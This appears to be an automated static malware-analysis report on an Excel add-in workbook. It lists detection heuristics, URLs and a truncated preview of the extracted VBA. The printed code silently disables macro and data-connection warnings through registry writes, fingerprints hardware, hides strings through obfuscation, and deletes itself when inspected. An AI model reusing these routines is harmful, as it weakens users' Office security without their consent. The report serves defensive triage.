Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 419af53a63cee1dd…

MALICIOUS

Office (OLE)

768.5 KB Created: 2017-10-18 14:02:00 Authoring application: AddinUpdater First seen: 2018-08-26
MD5: 649a736ccaaeead157c85d7dd5a17e6d SHA-1: a990331e7fbc1ee12997d6fd315c6a2b7a93afc5 SHA-256: 419af53a63cee1dd0c942d109626208e6f34f43ffe5ec62535351946bd03754b
660 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains heavily obfuscated VBA macros designed to execute code upon opening the workbook. It utilizes functions like `URLDownloadToFile` and `Shell()` to download and run a secondary payload from URLs such as http://ExcelVBA.ru/php2/updates.php. The presence of `Workbook_Open` and `CreateObject` calls, along with the ClamAV detection of 'Xls.Malware.Powmet-6922919-0', strongly indicates a malicious downloader.

Heuristics 17

  • ClamAV: Xls.Malware.Powmet-6922919-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Powmet-6922919-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 10 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        On Error Resume Next: Dim Folder$, downloads_folder$, changed As Boolean, v
    Const USF$ = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\"
    downloads_folder$ = Replace(SETT.GetText("{374DE290-123F-4565-9164-39C4925E467B}", , USF$), "%USERPROFILE%", Environ("USERPROFILE"))
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        sec_key$ = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\"
    With CreateObject("WScript.Shell")
        .RegWrite sec_key$ & "AccessVBOM", 1, "REG_DWORD"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 Then        '  Office 2010-2013
    Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
            (ByVal pCaller As LongPtr, ByVal szURL As String, ByVal szFileName As String, _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        delay_txt$ = Replace(Format(CDbl(TimeSerial(0, 0, 1)) * delay, "0.000000000"), ",", ".")
    ExecuteExcel4Macro "ON.TIME(NOW()+" & delay_txt$ & ", ""'" & ThisWorkbook.Name & "'!" & macroname$ & """)"
End Sub
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function HID$()
    On Error Resume Next: Dim SN&: SN& = CreateObject("scripting.filesystemobject").GetDrive(ChrW(99) & ChrW(58)).SerialNumber
    HID$ = ChrW(115) & Format(Abs(934526875# - SN&), "0000000000")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = "C:"
    With GetObject("winmgmts:")
        For Each obj In .ExecQuery("ASSOCIATORS OF {Win32_LogicalDisk.DeviceID='" & DriveLetter$ & "'} WHERE AssocClass = Win32_LogicalDiskToPartition"): PartName$ = obj.DeviceID: Next
  • VBA instantiates a COM class by raw CLSID high OLE_VBA_GETOBJECT_CLSID_EVASION
    VBA uses GetObject("new:{CLSID}") to instantiate a COM class by raw CLSID rather than a CreateObject ProgID — an uncommon bypass of name-based macro detection.
    Matched line in script
    Function ClipboardText()
    With GetObject("New:{1C3B4210-F441-11CE-B9EA-00AA006B1A69}")
        .GetFromClipboard
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
    On Error Resume Next: Dim FirstRun As Boolean
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        DriveLetter$ = GetSetting(PROJECT_NAME$, "Setup", "DriveLetter")
    If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = Environ("SystemDrive")
    If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = "C:"
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ExcelVBA.ru/ Referenced by macro
    • http://ExcelVBA.ru/php2/updates.phpReferenced by macro
    • http://Excel-Automation.com/Referenced by macro
    • http://www.wordarticles.com/Shorts/RibbonVBA/RibbonVBADemo.phpReferenced by macro
    • http://ExcelVBA.ru/programmes/Lookup/CopyRowsReferenced by macro
    • http://excelvba.ru/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 626904 bytes
SHA-256: 6e1effb4fbf98cfddaf037331cebff7061d26ec7ec7e24738365ab6307975588
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWB"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'---------------------------------------------------------------------------------------
' Author        : Igor Vakhnenko                   Date: 25.12.2015
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/        info@excelvba.ru      Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------

Private Sub Workbook_BeforeClose(Cancel As Boolean)
    DeleteProgramCommandBar
End Sub

Private Sub Workbook_Open()
    On Error Resume Next: Dim FirstRun As Boolean
    FirstRun = SETT.IsFirstRun
    If FirstRun Then ShowFirstRunForm
    If SetupCancelled Then
        Application.DisplayAlerts = False
        If TrueDeveloper Then MsgBox "Setup Cancelled", vbInformation Else ThisWorkbook.Close False
        Application.DisplayAlerts = True
        Exit Sub
    End If
    Enable_AccessVBOM_Macro_DataConnections        ' disables notifications
    SaveSetting PROJECT_NAME$, "Setup", "AddinPath", ThisWorkbook.FullName
    If FirstRun Then If IsObject(F_Greeting) Then F_Greeting.Show
    CreateProgramCommandBar 0
End Sub


Attribute VB_Name = "mod_About_NEW"
'---------------------------------------------------------------------------------------
' Module        : mod_About_NEW                    Version: 2.6
' Author        : Igor Vakhnenko                   Date: 09.05.2016
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/        info@excelvba.ru      Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------

Option Explicit: Option Compare Text: Option Private Module
Public Const DEBUG_MODE As Boolean = False        'True
Public Const UPDATES_HYPERLINK$ = "http://ExcelVBA.ru/php2/updates.php"

Public Const DEVELOPER_WEBSITE$ = "http://ExcelVBA.ru/"        '"http://Excel-Automation.com/"
Public Const SUPPORT_EMAIL_RUS$ = "info@ExcelVBA.ru", SUPPORT_EMAIL$ = "support@Excel-Automation.com"
Public Const BUY_NEW_HYPERLINK$ = "%website%buy/add-in?name=%projectname%"
Public Const BUY_ADD_HYPERLINK$ = "%website%buy2/add-in?name=%projectname%"
Public Const UNINSTALL_HYPERLINK$ = "%website%uninstall/program?name=%projectname%"
Public Const EULA_HYPERLINK$ = "%website%buy/EULA?name=%projectname%"
Public Const BREACH_EULA_HYPERLINK$ = "%website%buy/EULA/breach?name=%projectname%"
Public Const CABINET_HYPERLINK$ = "%website%cabinet/login"
Public Const VERSIONS_HISTORY_HYPERLINK$ = "%website%updates/history.php?addin=%projectname%"
Public SetupCancelled As Boolean, StopMacro As Boolean



Sub ActivateAddinsTab()
    On Error Resume Next: Dim TabName$
    Select Case Application.LanguageSettings.LanguageID(msoLanguageIDUI)
        Case 1049: TabName$ = SETT.U("CDE0E4F1F2F0EEE9EAE8")        '"Надстройки"
        Case 1033: TabName$ = "Add-Ins"
    End Select
    If Len(TabName$) Then SwitchTab TabName$
End Sub


Sub Add3Buttons(ByRef AddinMenu As Object)
    Add_Control(AddinMenu, ct_BUTTON, 0, "0", "", msoButtonIconAndCaption, False).Enabled = 0
    Add_Control AddinMenu, ct_BUTTON, 222, "ShowSettingsPage", tt("MENU_Settings") & "  ", msoButtonIconAndCaption, True
    Add_Control AddinMenu, ct_BUTTON, 487, "ShowMainForm", tt("MENU_About") & "  ", msoButtonIconAndCaption, True
    Add_Control AddinMenu, ct_BUTTON, IIf(Val(Application.Version) <= 11, 4356, 923), "ExitProgram", tt("MENU_Exit"), msoButtonIcon, True
End Sub

Function Add_Control(ByRef Comm_Bar, ByVal ControlType As CONTROL_TYPES, Optional ByVal B_Face&, Optional ByVal On_Action$, _
                     Optional ByVal B_Caption$, Optional ByVal Button_Style As Long = msoButtonIcon, _
                     Optional ByVal Begin_Group As Boolean = False, Optional Tag = "") As CommandBarControl
    On Error Resume Next
    Set Add_Control = Comm_Bar.Controls.Add(Type:=ControlType, Temporary:=True)
    With Add_Control
        If B_Face > 0 And ControlType = ct_BUTTON Then .FaceId = B_Face
        If Len(On_Action) Then
            .Tag = TWN & On_Action & "\\\" & Tag
            .OnAction = TWN & "RunMacroFromButton": If On_Action Like "Exit*" Then .OnAction = TWN & On_Action
        End If
        .Caption = B_Caption
        .BeginGroup = Begin_Group
        If ControlType = ct_BUTTON Or ControlType = ct_DROPDOWN Then .Style = Button_Style
    End With
End Function

Private Sub RunMacroFromButton()
    On Error Resume Next: Dim Macro$, param$
    Macro$ = Split(Application.CommandBars.ActionControl.Tag, "\\\")(0)
    param$ = Split(Application.CommandBars.ActionControl.Tag, "\\\")(1)
    If Macro$ Like TWN & "*" Then SETT.LastMacro Macro$
    If Len(Macro$) > O Then If Len(param$) Then Run Macro$, param$ Else Run Macro$
End Sub

Function GetCommandBar(ByVal CommandBarName As String, Optional ByVal Clean As Boolean = False, _
                       Optional ByVal Position As MsoBarPosition = msoBarTop) As CommandBar
    On Error Resume Next: Err.Clear: Dim cbc As Object
    Set GetCommandBar = Application.CommandBars(CommandBarName)
    If Err.Number Then
        Set GetCommandBar = Application.CommandBars.Add(CommandBarName, Position, False, True)
    End If
    If Clean Then
        GetCommandBar.Visible = False
        For Each cbc In GetCommandBar.Controls: cbc.Delete: Next
    End If
    GetCommandBar.Visible = True
End Function

Function DeleteProgramCommandBar()
    On Error Resume Next: GetCommandBar(PROJECT_NAME).Visible = False
End Function

Function SetIsAddinAsFalse()
    On Error Resume Next: ThisWorkbook.IsAddin = False
End Function
Function SetIsAddinAsTrue()
    On Error Resume Next: ThisWorkbook.IsAddin = True
End Function

'Sub ComboChanged()    ' срабатывает при изменении значения в комбобоксе или текстбоксе
'    On Error Resume Next
'    НазваниеКомбобокса = Application.CommandBars.ActionControl.Tag
'    ТекстКомбобокса = Application.CommandBars.ActionControl.Text
'    MsgBox "Новое значение: """ & ТекстКомбобокса & """", _
     '           vbInformation, "Изменения в поле\списке """ & НазваниеКомбобокса & """"
'End Sub
'Sub AdditionalMacros()    ' срабатывает при нажатии одной из кнопок в подменю
'    On Error Resume Next
'    НомерМакроса = Application.CommandBars.ActionControl.Tag
'    MsgBox "Параметр макроса = """ & НомерМакроса & """", vbInformation, "Запущен макрос из подменю"
'End Sub

Function SETT() As AddinSettings
    Static objSETT As AddinSettings
    If objSETT Is Nothing Then Set objSETT = New AddinSettings: objSETT.LoadAllSettings
    Set SETT = objSETT
End Function

Private Sub ShowMainForm()
    On Error Resume Next: F_About.Show
    F_About.MultiPage1.Value = 0
End Sub

Sub ShowSettingsPage()
    On Error Resume Next: F_Settings.Show
End Sub
Sub ShowFirstRunForm()
    On Error Resume Next: F_FirstRun.Show
End Sub

Sub RunWithDelay(ByVal macroname$, Optional ByVal delay As Double = 0.5)
    On Error Resume Next: Dim delay_txt$
    delay_txt$ = Replace(Format(CDbl(TimeSerial(0, 0, 1)) * delay, "0.000000000"), ",", ".")
    ExecuteExcel4Macro "ON.TIME(NOW()+" & delay_txt$ & ", ""'" & ThisWorkbook.Name & "'!" & macroname$ & """)"
End Sub

Function HWID(Optional ByVal Refresh As Boolean) As String
    On Error Resume Next: Dim v&, sv$, obj As Object, DriveID$, PartName$, DriveLetter$
    sv$ = GetSetting(PROJECT_NAME$, "Setup", "HWID")
    If sv$ <> "" Then If Not Refresh Then HWID = sv$: Exit Function

    DriveLetter$ = GetSetting(PROJECT_NAME$, "Setup", "DriveLetter")
    If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = Environ("SystemDrive")
    If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = "C:"
    With GetObject("winmgmts:")
        For Each obj In .ExecQuery("ASSOCIATORS OF {Win32_LogicalDisk.DeviceID='" & DriveLetter$ & "'} WHERE AssocClass = Win32_LogicalDiskToPartition"): PartName$ = obj.DeviceID: Next
        For Each obj In .ExecQuery("ASSOCIATORS OF {Win32_DiskPartition.DeviceID='" & PartName$ & "'} WHERE AssocClass = Win32_DiskDriveToDiskPartition"): DriveID$ = obj.DeviceID: Next
        For Each obj In .ExecQuery("SELECT * FROM Win32_DiskDrive WHERE DeviceID='" & Replace(DriveID$, "\", "\\") & "'"): v& = Val(obj.Signature): Next
    End With
    If v& = 0 Then HWID = "100000" & Mid(HID, 2) Else HWID = Right(Left(Replace(Abs((CSng(v) + 1.2345) / 0.00639), Mid(1 / 2, 2, 1), ""), 15) & Format(Abs(v Mod 1000), "000"), 16)
    SaveSetting PROJECT_NAME$, "Setup", "HWID", HWID
End Function

Function HID$()
    On Error Resume Next: Dim SN&: SN& = CreateObject("scripting.filesystemobject").GetDrive(ChrW(99) & ChrW(58)).SerialNumber
    HID$ = ChrW(115) & Format(Abs(934526875# - SN&), "0000000000")
End Function

Function GetVersion() As Long
    On Error Resume Next: GetVersion = Val(ThisWorkbook.BuiltinDocumentProperties("Revision Number"))
    If GetVersion < 1000 Then GetVersion = 1000
End Function

Function GetVersionTXT(Optional ByVal ver& = 0)
    On Error Resume Next: If ver& = 0 Then ver& = GetVersion
    GetVersionTXT = Mid(ver&, 1, 1) & "." & Mid(ver&, 2, 1) & "." & Val(Mid(ver&, 3))
End Function

Sub SetVersion(ByVal n As Long)
    On Error Resume Next: If n < 1000 Then n = 1000
    ThisWorkbook.BuiltinDocumentProperties("Revision Number") = n
    ThisWorkbook.BuiltinDocumentProperties("Creation Date") = Now
End Sub
Function l0&(): On Error Resume Next: l0& = Val("&H" & Split(ThisWorkbook.Names(Chr(116) & Chr(100)).RefersTo, "%%")(1)): End Function
Function ll&(): On Error Resume Next: Dim d&, t&: d = Fix(l0 - (SETT.DTU - Val(SETT.RSP(1))) / 86400): t& = Val(SETT.RSP(3)): SETT.WSP 3, IIf(t > d, d + 1, t): ll& = 1: End Function
Private Sub PrintSettings_AsDefault()
    On Error Resume Next: Err.Clear: Dim arr, i&, txt
    arr = GetAllSettings(PROJECT_NAME$, "Settings")
    If IsArray(arr) Then
        For i = LBound(arr) To UBound(arr)
            txt = "SetDefaultSetting """ & arr(i, 0) & """, """ & arr(i, 1) & """"
            Debug.Print txt
        Next i
    End If
End Sub

Function ImportSettings(Optional ByVal xmlPath$ = "", Optional HideMessages As Boolean = False) As Boolean
    On Error Resume Next: Err.Clear
    If xmlPath$ = "" Then
        xmlPath$ = FWF.GetFilePath(tt("ImportSettingsFileDialog", PROJECT_NAME$), ThisWorkbook.Path, tt("AddinSettings", PROJECT_NAME$), "*.xml")
    End If
    If xmlPath$ = "" Then Exit Function
    ImportSettings = SETT.ImportFromFile(xmlPath$, HideMessages)
End Function

Function ExportSettings(Optional ByVal xmlPath$ = "", Optional HideMessages As Boolean = False) As Boolean
    On Error Resume Next: Err.Clear
    Dim initial_filename$, dialog_title$, prevDir$, res As Variant
    If xmlPath$ = "" Then
        initial_filename$ = ThisWorkbook.Path & "\" & PROJECT_NAME$ & "_Settings_" & Format(Now, "DD.MM.YYYY_HH-NN-SS") & ".xml"
        dialog_title$ = tt("ExportSettingsFileDialog", PROJECT_NAME$)
        prevDir$ = CurDir$: ChDrive Left(initial_filename$, 1): ChDir ThisWorkbook.Path
        res = Application.GetSaveAsFilename(initial_filename$, tt("AddinSettings", PROJECT_NAME$) & " (*.xml),", , dialog_title$, tt("Save"))
        ChDrive Left(prevDir$, 1): ChDir prevDir$
        If VarType(res) = vbBoolean Then Exit Function
        xmlPath$ = CStr(res)
    End If
    ExportSettings = SETT.ExportToFile(xmlPath$, HideMessages)
End Function

Function PROGRAM_HYPERLINK$()
    PROGRAM_HYPERLINK$ = DEVELOPER_WEBSITE$ & "programmes/" & PROJECT_NAME$ & "?ref=" & HWID
End Function

Sub Enable_AccessVBOM_Macro_DataConnections()
    On Error Resume Next: Dim sec_key$
    sec_key$ = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\"
    With CreateObject("WScript.Shell")
        .RegWrite sec_key$ & "AccessVBOM", 1, "REG_DWORD"
        .RegWrite sec_key$ & "VBAWarnings", 1, "REG_DWORD"
        .RegWrite sec_key$ & "DataConnectionWarnings", 0, "REG_DWORD"
    End With
End Sub

Function AddinAutoRun(Optional ByVal NewState As Variant) As Boolean
    On Error Resume Next
    Dim ShortcutFullName$, AI As AddIn
    ShortcutFullName$ = Application.StartupPath & Application.PathSeparator & PROJECT_NAME$ & ".lnk"
    If Not VarType(NewState) = vbBoolean Then AddinAutoRun = FWF.FileExists(ShortcutFullName$): Exit Function

    If NewState = True Then
        With CreateObject("WScript.Shell").CreateShortcut(ShortcutFullName$)
            .TargetPath = ThisWorkbook.FullName
            .Save
        End With
    ElseIf NewState = False Then
        Kill Application.StartupPath & Application.PathSeparator & PROJECT_NAME$ & "*.lnk"
    End If
    AddinAutoRun = CBool(NewState)

    For Each AI In Application.AddIns
        If AI.Name = ThisWorkbook.Name Then AI.Installed = False
    Next AI
End Function
Function DeleteOldCommandBar(): On Error Resume Next: Run TWN & "Request_": End Function
Function UninstallThisFile(Optional ByVal Mode& = 1)
    On Error Resume Next
    If Mode& = 1 Then
        If MsgBox(tt("MSG_UninstallConfirmation"), vbExclamation + vbOKCancel + vbDefaultButton2, _
                  tt("MSG_UninstallConfirmationTitle")) = vbCancel Then Exit Function
    End If
    If TrueDeveloper Then MsgBox "Uninstalling cancelled", vbInformation, "Mode=" & Mode&: Exit Function

    AddinAutoRun False
    Application.DisplayAlerts = False
    Dim FilePath$: FilePath$ = ThisWorkbook.FullName
    ThisWorkbook.ChangeFileAccess xlReadOnly
    SetAttr FilePath$, vbNormal
    Kill FilePath$
    If Mode& = 1 Then If RUS Then FollowHyperlink UNINSTALL_HYPERLINK$
    If Mode& >= 2 Then If RUS Then FollowHyperlink BREACH_EULA_HYPERLINK$
    'If Mode& = 3 Then Request_ "action=bugger_detected"
    'Application.DisplayAlerts = True
    ThisWorkbook.Close False
End Function

Function Developer() As Boolean: Developer = TrueDeveloper And (Dir("c:\testmode", vbNormal) = ""): End Function
Function TrueDeveloper() As Boolean
    Dim txt$: txt$ = Environ(Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(68) & Chr(79) & Chr(77) & Chr(65) & Chr(73) & Chr(78)): TrueDeveloper = (txt$ Like ChrW(73) & ChrW(71) & ChrW(79) & ChrW(82) & ChrW(72) & ChrW(79) & ChrW(77) & ChrW(69) & ChrW(42)) Or (txt$ Like ChrW(73) & ChrW(71) & ChrW(79) & ChrW(82) & ChrW(87) & ChrW(79) & ChrW(82) & ChrW(75) & ChrW(42))
End Function

Function MU_() As Boolean
    On Error Resume Next: Dim X: X = ll: Err.Clear: X = ThisWorkbook.VBProject.VBComponents.Count
    If TrueDeveloper Then Exit Function
    MU_ = Err = 0: If MU_ Then UninstallThisFile 2
End Function

Function OfficeBits() As Long
    #If VBA7 And Win64 Then
        OfficeBits = 64
    #Else
        OfficeBits = 32
    #End If
End Function

Function TWN() As String: TWN = "'" & ThisWorkbook.Name & "'!": End Function
Function O() As Long
    On Error Resume Next: Dim i&, t As Double: O = 2 ^ 30: If MU_ Then Exit Function
    If AS_ > 0 Then
        O = 0
    Else
        Application.EnableCancelKey = xlDisabled: ShowMainForm
        With F_About.Controls(Chr(76) & Chr(97) & Chr(98) & Chr(101) & Chr(108) & Chr(95) & Chr(73) & Chr(110) & Chr(102) & Chr(111))
            For i = 1 To 10
                .Visible = i Mod 2 = 0: t = Timer: While Abs(Timer - t) < 0.2: DoEvents: Wend
            Next
        End With
        With F_About.Controls(Chr(76) & Chr(97) & Chr(98) & Chr(101) & Chr(108) & Chr(95) & Chr(72) & Chr(76) & Chr(95) & Chr(66) & _
                              Chr(117) & Chr(121) & Chr(76) & Chr(105) & Chr(99) & Chr(101) & Chr(110) & Chr(115) & Chr(101))
            .ForeColor = RGB(255, 0, 0)
            For i = 1 To 4
                .Visible = i Mod 2 = 0: t = Timer: While Abs(Timer - t) < 0.2: DoEvents: Wend
            Next
        End With
        Application.EnableCancelKey = xlInterrupt
    End If
End Function

Function cmdDisplay(txt) As String
    On Error Resume Next: Dim pass$, d&, i&, letter$
    If Left(txt, 1) = "P" Then txt = Mid(txt, 2): pass$ = "" Else pass$ = HID
    d = Val("&H" & Mid(txt, 1, 2))
    For i = 2 To Len(txt) / 2
        letter = Val("&H" & Mid(txt, 2 * i - 1, 2))
        cmdDisplay$ = cmdDisplay$ & Chr(letter Xor CInt(2 * d * Abs(Sin(3 * (i - 1)))) + Val(Mid(pass$, 2 + (i - 1) Mod 10, 1)))
    Next
End Function

Function CreateShortcutInStartMenu(Optional ByVal ShortcutName$ = PROJECT_NAME$, Optional ByVal ShortcutFolderName$)
    On Error Resume Next
    Dim ShortcutFullName$, Folder$
    If ShortcutFolderName$ = "" Then ShortcutFolderName$ = tt("StartMenuFolderName")
    Folder$ = CreateObject("WScript.Shell").SpecialFolders("StartMenu") & Application.PathSeparator
    If Len(Trim(ShortcutFolderName$)) Then
        Folder$ = Folder$ & FWF.Replace_symbols(ShortcutFolderName$) & Application.PathSeparator
        MkDir Folder$
    End If

    ShortcutFullName$ = Folder$ & FWF.Replace_symbols(ShortcutName$, " ") & ".lnk"
    Kill Folder$ & "*" & PROJECT_NAME$ & "*.lnk"        ' deleting old shortcuts

    With CreateObject("WScript.Shell").CreateShortcut(ShortcutFullName$)
        .TargetPath = ThisWorkbook.FullName
        .Description = tt("ProgramFullname") & vbNewLine & vbNewLine & Split(PROGRAM_HYPERLINK$, "?")(0)
        .Save
    End With
End Function

Sub UpdateStatus(Optional ByRef obj As MSForms.Label)
    On Error Resume Next: Dim txt$, ou$, col&, sh As Boolean
    With SETT
        Select Case Run(TWN & .U("41535F"))
            Case 4: ou$ = Trim(.GetRegValue(.U("757365726E616D65"))): If ou$ = "" Then ou$ = Trim(.GetRegValue(.U("656D61696C")))
                txt = tt("|4143545F4F4B") & vbNewLine & tt("|4143545F4F574E4552", ou$): col& = RGB(0, 150, 0): sh = True
            Case 1: txt = tt("|4143545F545249414C") & vbNewLine & tt("|4143545F444159534C454654", .RSP(3)): col& = RGB(200, 50, 0)
            Case 0: txt = tt("|4143545F45585049524544") & vbNewLine & tt("|4143545F4255594E4F57"): col& = RGB(255, 0, 0)
            Case Else: txt = .U("556E6B6E6F776E2061637469766174696F6E207374617475732E0D0A436F6E7461637420646576656C6F70657220746F206669782074686973206572726F722E"): col& = RGB(100, 0, 100)
        End Select
        obj.Caption = txt: obj.ForeColor = col
    End With
    With F_About
        .MultiPage1.Pages(SETT.U("506167655F526567496E666F")).Visible = Not sh: .Label_HL_Cabinet.Visible = sh
        .Label_HL_BuyLicense = tt("|465F41626F75745C4C6162656C5F484C5F4275794C6963656E7365" & IIf(sh, "32", ""))
        .Repaint
    End With
End Sub

Sub ApplyZoomTo(ByRef UF)
    On Error Resume Next: Dim zo&, dh&
    zo = SETT.GetNumber("ComboBox_Zoom", 100)
    If zo < 20 Then zo = 100
    dh& = UF.Height - UF.InsideHeight
    UF.Width = UF.Width * zo / 100: UF.Height = (UF.Height - dh&) * zo / 100 + dh&
    UF.Zoom = zo
End Sub

Sub ExitProgram()
    On Error Resume Next
    If MsgBox(tt("MSG_ExitProgram"), vbQuestion + vbDefaultButton2 + vbOKCancel) = vbCancel Then Exit Sub
    DeleteProgramCommandBar
    ThisWorkbook.Close False
End Sub

' ---------------------------------------------------------------------------------------------------------------------
Function UpdateAvailable() As Boolean
    On Error Resume Next: UpdateAvailable = SETT.GetText("NewVersionURL", , "Updates") Like "http*://*.*/?*.xl*"
End Function

Sub ApplySettingSet(ByVal filename$)
    On Error Resume Next: Dim setting_set_name$, macroname$, ctrl As Object

    If filename$ Like "folder=?*" Then        ' dropdown changed
        setting_set_name$ = Application.CommandBars.ActionControl.Text
        filename$ = Split(filename$, "folder=", 2)(1) & setting_set_name$ & ".xml"
    End If

    If filename$ Like "macro=?*&*" Then        ' button pressed
        macroname$ = Split(Split(filename$, "macro=", 2)(1), "&", 2)(0)
        filename$ = Split(filename$, "&", 2)(1)
        setting_set_name$ = Application.CommandBars.ActionControl.Caption
        setting_set_name$ = Mid(setting_set_name$, 2, Len(setting_set_name$) - 2)        ' TRIM
        If filename$ = "" Then setting_set_name$ = ""        ' for main button
    End If

    'MsgBox filename$, , setting_set_name$
    If SETT.ActivateSettingSet(setting_set_name$, filename$) Then
        If Len(macroname$) Then
            For Each ctrl In Application.CommandBars.ActionControl.Parent.Controls
                If ctrl.FaceId = Application.CommandBars.ActionControl.FaceId Then ctrl.State = msoButtonUp
            Next
            Application.CommandBars.ActionControl.State = msoButtonDown
            Run TWN & macroname$
        End If
        Run TWN & "SettingSetChanged"
    Else
        RunWithDelay "CreateProgramCommandBar", 0.5        ' incorrect setting set name
    End If
End Sub
Function AS_() As Long
    On Error Resume Next: Dim txt$
    With SETT
        txt$ = .GetRegValue(.U("636F6465")) & "@": txt = Split(txt, "@")(1)
        If Len(.k) * (txt = .k) Then AS_ = 4: Exit Function
        AS_ = -(.RSP(3) > 0)
    End With
End Function
Sub AddSettingsSwitcher(ByVal AddinMenu As Object, Optional ByVal SwitcherType As CONTROL_TYPES = ct_BUTTON, _
                        Optional ByVal SettingsFolderName$, Optional ByVal MainMacroName$, Optional ByRef MainMacroButton As Object)
    On Error Resume Next
    Dim coll As New Collection, SettingsFolder$, Item, filename$, MenuDropdown As Object, SettingSetName$, i&, UserSwitcherType&
    SettingsFolderName$ = Trim(Replace(SettingsFolderName$, "\", ""))
    If SettingsFolderName$ = "" Then SettingsFolderName$ = PROJECT_NAME$ & "Settings"
    SettingsFolder$ = ThisWorkbook.Path & "\" & SettingsFolderName$ & "\"

    If Not FWF.FolderExists(SettingsFolder$) Then Exit Sub
    Set coll = FWF.FilenamesCollection(SettingsFolder$, "*.xml", 1)
    If coll.Count = 0 Then Set coll = Nothing: Exit Sub

    If SwitcherType = ct_COMBOBOX Then SwitcherType = ct_DROPDOWN
    ' SwitcherType is one of ct_BUTTON or ct_COMBOBOX / ct_DROPDOWN

    UserSwitcherType& = SETT.GetNumber("SettingsSwitcher", 1, "Setup")
    ' user can disable switcher or change type of switcher by adding key "SettingsSwitcher" into Setup registry section
    ' 0 = switcher disabled, 1 = default type, 2 = DROPDOWN SWITCHER, 3 = BUTTON SWITCHER
    Select Case UserSwitcherType&
        Case 0: Exit Sub
        Case 2: SwitcherType = ct_DROPDOWN
        Case 3: SwitcherType = ct_BUTTON
    End Select

    Add_Control(AddinMenu, ct_BUTTON, 0, "0", "", msoButtonIconAndCaption, False).Enabled = 0
    If SwitcherType = ct_DROPDOWN Then
        Set MenuDropdown = Add_Control(AddinMenu, ct_DROPDOWN, , "ApplySettingSet", tt("SettingSetDropdownCaption") & ":", _
                                       msoComboLabel, , "folder=" & SettingsFolder$)
        MenuDropdown.AddItem "<" & tt("DefaultSettingSetName") & ">"
    End If

    SettingSetName$ = SETT.GetCurrentSetName

    For Each Item In coll
        filename$ = Split(Dir(Item, vbNormal), ".xml")(0)

        Select Case SwitcherType
            Case ct_BUTTON
                With Add_Control(AddinMenu, ct_BUTTON, MainMacroButton.FaceId, "ApplySettingSet", " " & filename$ & " ", _
                                 msoButtonIconAndCaption, , "macro=" & MainMacroName$ & "&" & Item)
                    .State = IIf(SettingSetName$ = filename$, msoButtonDown, msoButtonUp)
                End With
            Case ct_DROPDOWN
                MenuDropdown.AddItem filename$
        End Select
    Next

    If SwitcherType = ct_DROPDOWN Then
        For i = 1 To MenuDropdown.ListCount
            If MenuDropdown.List(i) = SettingSetName$ Then MenuDropdown.ListIndex = i: Exit For
        Next i
        If MenuDropdown.ListIndex = 0 Then
            MenuDropdown.ListIndex = 1
            If SettingSetName$ <> "" Then SETT.ActivateSettingSet ""
        End If
    End If

    If SwitcherType = ct_BUTTON Then
